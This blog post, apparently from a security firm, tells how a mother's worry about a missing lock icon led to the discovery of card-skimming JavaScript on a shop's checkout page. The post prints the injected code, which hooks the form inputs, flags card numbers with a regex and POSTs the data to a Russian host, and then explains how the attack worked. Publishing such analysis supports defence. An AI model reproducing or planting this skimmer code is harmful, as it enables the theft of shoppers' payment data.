Mom Spies a Hack

Have you ever wondered if all that informal training you do with your friends & family is paying off? When you say things like "use trusted sites" or "don't give your password to anyone" you wonder if they'll remember those admonishments when presented with a real world situation.

My mom is not technical. She doesn't really even try. To illustrate this point, here's a recent group message she sent to me and my sisters from my dad's iPad:

Mom

Yep…the shift button might as well not exist for her.

She is however very keen to the perils of our Web centric world when she shops online. One morning on the train to work, I received a text from Mom. I quickly deciphered the apostrophes and other "Mom" nuances to read her question regarding a site from which she was about to make a purchase.

"I'm about to check out, but the page doesn't have a green lock at the top", she texted (she calls it "bubble talk"). I told her to hold off and that I'd check out the site later to see what was going on. Perhaps it'll post over a secure channel, but the fact that the checkout page came over a non-SSL channel in the first place made me roll my eyes a bit.

Later at work I found the site, added an item to my cart and proceed to the checkout page. I'm thinking, "I'll just check the source code to see…UH OH!"

It turns out the checkout page has some very dubious javascript on it. The page's onload javascript event (see excerpt below) calls a function named "send()" which adds an onclick event to each and every input element. Those click events gather the form data and send them off to the Russian website hxxps://gamula.ru.

function send() {
  var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
  for (var i=0;i<btn.length;i++){
    var b=btn[i];
    if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
      if(b.addEventListener) {
        b.addEventListener("click", clk, false);
      } else {
        b.attachEvent('onclick', clk);
      }
    }
  }


/* Yep, they spelled "select" incorrectly. */


if(snd!=null) { console.clear(); var cc = new RegExp("[0-9]{13,16}"); var asd="0"; if(cc.test(snd)){ asd="1" ; }
var http = new XMLHttpRequest(); http.open("POST","https://gamula.ru/order.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("data="+snd+"&asd="+asd+"&id_id=victim.site"); console.clear(); }

OnePageSteps_reduced

From the diagram of the checkout page, we can see what the malicious javascript was effectively accomplishing. The victim would choose a credit card type and naturally move to the Credit Card Number text box. As soon as they did, the value of "Visa" would be sent off to the attacker. After entering their card number, they'd click on the expiration date causing the card number to be sent off to the attacker. Because the attacker's routine was bound to each input field, essentially all of the form data would be harvested (including user name, address, email, etc.) as the victim entered it.

At some point the bad guys had successfully mounted an attack which resulted in code modification on the legitimate site's checkout page. The attacker spun up their site through a Russian hosting company and let it sit there listening for incoming data. By programmatically modifying each input field, they ensured that they didn't miss anything interesting which an individual may have entered. They even flagged incoming card data in it for later filtering!

The company was notified, and they quickly began taking steps to mitigate the issue. Mom is playing it safe and having a new card issued to her. And in case you wondered if your warnings were falling on deaf ears - not all of them are. Mom may never figure out how to find the apostrophe on the iPad, but she's definitely going to stay watchful when shopping online from here on out.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.